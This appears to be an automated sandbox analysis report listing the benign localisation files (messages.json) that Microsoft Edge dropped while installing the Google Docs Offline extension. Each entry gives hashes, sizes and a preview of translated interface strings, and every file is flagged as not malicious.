SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1392683710\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
